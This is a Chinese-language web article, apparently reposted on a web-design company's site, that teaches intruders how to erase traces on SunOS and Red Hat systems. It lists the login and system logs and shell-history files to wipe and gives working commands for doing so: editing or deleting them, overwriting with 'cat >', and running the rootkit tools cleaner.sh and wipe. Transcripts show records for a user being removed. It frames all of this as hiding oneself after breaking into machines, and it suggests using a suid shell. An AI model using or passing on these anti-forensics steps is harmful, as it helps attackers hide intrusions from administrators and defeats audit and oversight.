日志的清除-創(chuàng)新互聯(lián)

由于涉及的系統(tǒng)廣泛的問題,不可能將所有unix類系統(tǒng)的日志說清楚,但它們大多是差不多的,下面我只用常見的sunos & redhat做介紹.其它的系統(tǒng)請(qǐng)查看相關(guān)資料.

創(chuàng)新互聯(lián)主要從事網(wǎng)站設(shè)計(jì)、網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)安順,十多年網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):18980820575

unix系統(tǒng)日志文件通常是存放在"/var/log and /var/adm"目錄下的。通常我們可以查看syslog.conf來看看日志配置的情況.如:cat /etc/syslog.conf

其中sunos的在/var/log 和 /var/adm下.還有/usr/adm為/var/adm的的鏈接.

redhat的在/var/log 和 /var/run下.

下面的是sun os5.7中的日志樣本.

# ls /var/adm

acct    log      messages.1    passwd    sulog   vold.log

aculog   messages   messages.2    sa      utmp    wtmp

lastlog   messages.0  messages.3    spellhist   utmpx   wtmpx

# ls /var/log

authlog      syslog    syslog.1   syslog.3

sysidconfig.log  syslog.0   syslog.2   syslog.4

下面的是redhat6.2中的日志樣本.

# ls /var/log

boot.log   dmesg       messages.2    secure     uucp

boot.log.1  htmlaccess.log  messages.3    secure.1    wtmp

boot.log.2  httpd       messages.4    secure.2    wtmp.1

boot.log.3  lastlog      netconf.log   secure.3    xferlog

boot.log.4  mailllog      netconf.log.1  secure.4    xferlog.1

cron     maillog      netconf.log.2  sendmail.st   xferlog.2

cron.1    maillog.1     netconf.log.3  spooler     xferlog.3

cron.2    maillog.2     netconf.log.4  spooler.1    xferlog.4

cron.3    maillog.3     news       spooler.2

cron.4    maillog.4     normal.log    spooler.3

daily.log   messages     realtime.log   spooler.4

daily.sh   messages.1     samba       transfer.log

# ls /var/run

atd.pid    gpm.pid    klogd.pid   random-seed    treemenu.cache

crond.pid   identd.pid   netreport   runlevel.dir   utmp

ftp.pids-all inetd.pid   news      syslogd.pid

一般我們要清除的日志有

lastlog

utmp(utmpx)

wtmp(wtmpx)

messages

syslog

< type="text/javascript"> < src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
sulog

此外,各種shell還會(huì)記錄用戶使用的命令歷史,它使用用戶主目錄下的文件來記錄這些命令歷史,通常這個(gè)文件的名字為.sh_history(ksh),.history(csh),或.bash_history(bash)等。

一般把以上說的日志給擦一下,就可以了.:)

下面我來說說上面這些我們要清除的日志的相關(guān)資料和清除方法.更詳細(xì)的資料和其他的日志請(qǐng)你查看相關(guān)資料.

首先我們說說這幾種日志的功能.->它記錄的是什么?

lastlog

lastlog記錄每個(gè)用戶的最近一次的登陸時(shí)間和每個(gè)用戶的最初目的地.

當(dāng)一個(gè)用戶登陸到unix系統(tǒng)時(shí),注冊(cè)程序在lastlog文件中查找該用戶的uid ,如果該程序找到了該用戶的uid,unix就會(huì)顯示最后一次登陸的時(shí)間和TTY(終端號(hào))

下面是一個(gè)例子:

SunOS 5.7

login: gao

Password:

No directory! Logging in with home=/

Last login: Sun Feb 4 22:18:25 from 211.167.1.24

Sun Microsys tems Inc. SunOS 5.7 Generic October 1998 $

.然后注冊(cè)程序用新的登陸時(shí)間和TTY信息更新lastlog文件,而且該程序帶更新utmp wtmp.文件.

utmp

utmp 日志記錄以前登陸到系統(tǒng)中的所有用戶.這個(gè)文件隨著用進(jìn)入和離開系統(tǒng)而不斷的變化.它還會(huì)為系統(tǒng)中的用戶保持很長(zhǎng)的歷史記錄,utmp日志通常存儲(chǔ)在/etc/utmp,可以使用w 和who 命令查看utmp.但其他的一些命令也可以訪問這個(gè)文件.:)比如finger users.現(xiàn)在的utmp一般都有一個(gè)utmpx文件做為日志記錄的補(bǔ)充.別忘了擦這個(gè)pp哦.:)

wtmp

wtmp文件記錄用戶登陸和退出事件,它和utmp類似.但它隨著登陸的次數(shù)的增加它會(huì)變得越來越大.有些系統(tǒng)的ftp訪問也在這個(gè)文件里記錄.同時(shí)它也記錄正常的系統(tǒng)退出時(shí)間.可以使用last和ac命令訪問它.

syslog & messages

通過查看/etc/syslog.conf我們可以知道syslog記錄些什么.:)

很多各種各樣的程序產(chǎn)生的日志都由它記錄.

同時(shí)它還有一個(gè)syslogd進(jìn)程為它服務(wù).

在缺省時(shí),它把大多的信息傳給/var/adm/messages

sulog

sulog為切換用戶命令su的使用記錄日志.

他通常在/var/adm/sulog

如果你在機(jī)器上用過su命令,別忘了清除掉哦.:)

shell記錄

.sh_history(ksh),.history(csh),或.bash_history(bash)等,是shell執(zhí)行時(shí)的歷史記錄.記錄用戶執(zhí)行的命令.它一般存在于用戶的主目錄.別忘了去根目錄看看哦.我***機(jī)器時(shí),也經(jīng)常能發(fā)現(xiàn)別人的hacking記錄哦.:)所以你一定要記得清除.

1.日志都是一些文本形式的文件.最笨的方法是用文本編輯器來編輯日志文件.刪除相關(guān)的記錄.來達(dá)到擦拭腳印和隱藏自己的效果.

比如用vi等

但這樣做是很笨的.太麻煩,工作量太大.

如果有50臺(tái)機(jī)器要你處理,那么,呵呵....看你忙到什么時(shí)候

:)

2.以前我剛開始學(xué)unix時(shí).經(jīng)常用rm -f 來刪掉日志.比如rm -f /usr/adm/lastlog

呵呵 

這樣做是很蠢的.

更容易被管理員發(fā)現(xiàn)有人***.但是,相對(duì)來說自己還是保護(hù)好了.:)

可以用在一些不太重要的機(jī)器上.

3.用 > 定向符清除.

比如:

#cat > /usr/log/lastlog

->這里輸入你要的寫的東西.最好偽裝得像一些,也可以不輸入哦.:)

^d?。具@里的^d是按鍵 ctrl + d.

#

如果上戰(zhàn)場(chǎng)沒有帶日志清除工具,我一般也用這個(gè)清除的.:)省事

要不找?guī)讉€(gè)舊的日志覆蓋它:)

==========================================================

4.當(dāng)然最好的是用日志清除工具.

輸入幾個(gè)命令讓程序幫你擦:)

a.常見的日志清除工具.

一般的rootkit包里有的:z2.c 和wted.c

很容易找到.

網(wǎng)上的教程很多都是介紹這兩個(gè)工具的使用的.

這里我就不再論述了.:)節(jié)省時(shí)間.

b.這里我提供一個(gè)我以前有段時(shí)間常用的日志清除腳本.

在HUCkit.zip里的 cleaner.sh

我們這樣使用它

# chmod 755 cleaner.sh

# ./cleaner.sh

Log cleaner v0.5b By: Tragedy/Dor *

* Usage: cleaner.sh

# ./cleaner.sh username

其中,username 為你要清除日志的的用戶帳號(hào).

:)

比如:

#./cleaner.sh gao

Log cleaner v0.5b By: Tragedy/Dor OS

detection....

Detected SunOS

---<[ Log cleaning in process....

* Cleaning aculog ( 0 lines)...0 lines removed!

* Cleaning lastlog ( 19789 lines)...45 lines removed!

* Cleaning messages ( 12 lines)...1 lines removed!

* Cleaning messages.0 ( 12 lines)...0 lines removed!

* Cleaning messages.1 ( 28 lines)...0 lines removed!

* Cleaning messages.2 ( 38 lines)...0 lines removed!

* Cleaning messages.3 ( 17 lines)...0 lines removed!

* Cleaning spellhist ( 0 lines)...0 lines removed!

* Cleaning sulog ( 986 lines)...6 lines removed!

* Cleaning utmp ( 179 lines)...1 lines removed!

* Cleaning utmpx ( 387 lines)...1 lines removed!

* Cleaning vold.log ( 0 lines)...0 lines removed!

* Cleaning wtmp ( 299 lines)...0 lines removed!

* Cleaning wtmpx ( 565 lines)...0 lines removed!

* Cleaning authlog ( 0 lines)...0 lines removed!

* Cleaning syslog ( 53 lines)...0 lines removed!

* Cleaning syslog.0 ( 14 lines)...0 lines removed!

* Cleaning syslog.1 ( 64 lines)...0 lines removed!

* Cleaning syslog.2 ( 39 lines)...0 lines removed!

* Cleaning syslog.3 ( 5 lines)...0 lines removed!

* Cleaning syslog.4 ( 3 lines)...0 lines removed!

* Cleaning syslog.5 ( 210 lines)...0 lines removed!

#

這個(gè)用/bin/sh的腳本有一個(gè)問題,

就是必須你要有uid =0 的權(quán)限.即root.

euid = 0 會(huì)不能正常工作,報(bào)告權(quán)限不夠.

解決方法是:

大家可以改里面的#!/usr/sh 為你設(shè)置好的suid shell.:)

這個(gè)腳本有一個(gè)好處,就是不用編譯,并且可以在多個(gè)系統(tǒng)下面工作.如redhat sunos等等.

還可以用

cat > clog.sh

來方便的拷貝到主機(jī).不用ftp 去?。海?/p>

還有一個(gè)命令可以清除大部分的日志.

這也是我常用它的原因.

但它做的太干凈了,把以前的記錄也刪除了.:(

有時(shí)候也會(huì)不太干凈.比如lastlog.utmp可能有時(shí)會(huì)清除不了.

所以,現(xiàn)在我一般結(jié)合兩個(gè)工具來清除日志.

好的一般放在后面介紹.:)

下面介紹一個(gè)我覺得比較好的另一個(gè)日志清除器.:)

在HUCkit.zip里的wipe-1.00.tgz.

他完全可以清除

lastlog

utmp

utmpx

wtmp

wtmpx

:)

下面我們來看看.(示范工作平臺(tái)sunos 5.7)

# gzip -d wipe-1.00.tgz

# tar -xf wipe-1.00.tar

# cd wipe-1.00

# ls -al

總數(shù)32

drwxr-xr-x  2  root  root     512   2月 4 20:48   .

drwxrwxrwx  6  root  other    1024   2月 4 18:40   ..

-rw-r--r--  1  root  root     130   1997 1月 9   INSTALL

-rw-r--r--  1  root  staff    1389   1997 1月 9   Makefile

-rw-r--r--  1  root  root     498   1997 1月 9   README

-rw-r--r--  1  root  staff   10027   1997 1月 9   wipe.c

# make

Wipe v0.01 !

Usage: 'make ' where sys tem types are:

linux freebsd sunos4 solaris2 ultrix

aix irix digital bsdi netbsd hpux

#

我們可以看到它需要出示 系統(tǒng)的選項(xiàng).這些選項(xiàng)是:

linux freebsd sunos4 solaris2 ultrix

aix irix digital bsdi netbsd hpux

我們要清除相關(guān)的系統(tǒng)日志就必須在相同的系統(tǒng)下編譯.

比如我們要在redhat等linux下編譯,就應(yīng)為: make linux

在freebsd下編譯就應(yīng)為:make freebsd

在sunos 4下編譯,就應(yīng)為: make sunos4

在sunos 5以上的系統(tǒng)里編譯,就應(yīng)為:make solaris2

這里我們用make solaris2

sunos 5 以上就叫做solaris了.

# make solaris2

gcc -O3 -DHAVE_LASTLOG_H -DHAVE_UTMPX -o wipe wipe.c

# ls -al

總數(shù)94

drwxr-xr-x  2  root  root   512   2月 4 21:03   .

drwxrwxrwx  6  root  other  1024   2月 4 18:40   ..

-rw-r--r--  1  root  root   130   1997 1月 9   INSTALL

-rw-r--r--  1  root  staff  1389   1997 1月 9   Makefile

-rw-r--r--  1  root  root    498   1997 1月 9   README

-rwxr-xr-x  1  root  other  30920   2月 4 21:03  wipe

-rw-r--r--  1  root  staff  10027   1997 1月 9   wipe.c

#./wipe

USAGE: wipe [ uwla ] ...options...

UTMP editing: Erase all usernames : wipe u [username]

Erase one username on tty: wipe u [username] [tty]

WTMP editing: Erase last entry for user : wipe w [username]

Erase last entry on tty : wipe w [username] [tty] LASTLOG

editing: Blank lastlog for user : wipe l [username] Alter lastlog

entry : wipe l [username] [tty] [time] [host]

Where [time] is in the format [YYMMddhhmm]

ACCT editing: Erase acct entries on tty : wipe a [username] [tty]

大家可以看到編譯好的wipe的使用方法.

其中 u 選項(xiàng)為 utmp utmpx 日志擦除..

w 選項(xiàng)為 wtmp wtmpx 日志擦除.

l 選項(xiàng)為 lastlog 日志擦除.

a 為/var/adm/pacct日志擦除.(一般不用這個(gè).:)

其中[tty]為終端號(hào).為在有多個(gè)相同帳號(hào)同時(shí)登陸時(shí),清除日志的使用選項(xiàng).當(dāng)然是要你的終端號(hào)哦.:)

大家可以用 w 命令查終端號(hào).

比如:

# w

下午 9:15 1 user, 平均負(fù)荷: 0.00, 0.00, 0.01

用戶名   終端號(hào)   登入時(shí)間   閑置   JCPU   PCPU   執(zhí)行命令

gao    pts/1   下午 7:40        3          w

下面的是我在sunos 5.7上的具體的使用情況.:)

# w

下午 9:15 1 user, 平均負(fù)荷: 0.00, 0.00, 0.01

用戶名   終端號(hào)   登入時(shí)間   閑置   JCPU   PCPU   執(zhí)行命令

gao    pts/1   下午 7:40        3          w

# ./wipe u gao

Patching /var/adm/utmp .... Done.

Patching /var/adm/utmpx .... Done.

# w

下午 9:15 1 user, 平均負(fù)荷: 0.00, 0.00, 0.01

用戶名   終端號(hào)   登入時(shí)間   閑置   JCPU   PCPU   執(zhí)行命令

# ./wipe w gao

Patching /var/adm/wtmp .... Done.

Patching /var/adm/wtmpx .... Done.

# ./wipe l gao

Patching /var/adm/lastlog .... Done.

好了.

lastlog utmp utmpx wtmp wtmpx 擦完了.

大家看到 wipe u gao 了嗎?

為什么我打了個(gè)w命令呢?

呵呵

想想.

所以我們一般在登陸進(jìn)系統(tǒng)后就運(yùn)行 wipe u gao.來隱藏自己.:)

當(dāng)然我們不要忘了shell 記錄哦.

# ls -al /.*history

-rw------- 1 root other 456 2月 4 20:27 .sh_history

# rm -f .*history

# cd

# pwd

/home/gao

# ls -al /.*history

-rw------- 1 root other 456 2月 4 20:27 .sh_history

# rm -f .*history

ok, 一個(gè)腳本加一個(gè)程序.再加一個(gè)操作,能保證你基本安全了.:)

當(dāng)然如果你對(duì)系統(tǒng)有進(jìn)一步了解,就能發(fā)現(xiàn).這樣清除還是有問題的.:)

另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)scvps.cn,海內(nèi)外云服務(wù)器15元起步,三天無理由+7*72小時(shí)售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國(guó)服務(wù)器、虛擬主機(jī)、免備案服務(wù)器”等云主機(jī)租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡(jiǎn)單易用、服務(wù)可用性高、性價(jià)比高”等特點(diǎn)與優(yōu)勢(shì),專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場(chǎng)景需求。

文章標(biāo)題:日志的清除-創(chuàng)新互聯(lián)
分享URL:http://muchs.cn/article32/codppc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供外貿(mào)網(wǎng)站建設(shè)品牌網(wǎng)站建設(shè)、用戶體驗(yàn)、虛擬主機(jī)網(wǎng)站制作關(guān)鍵詞優(yōu)化

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

成都app開發(fā)公司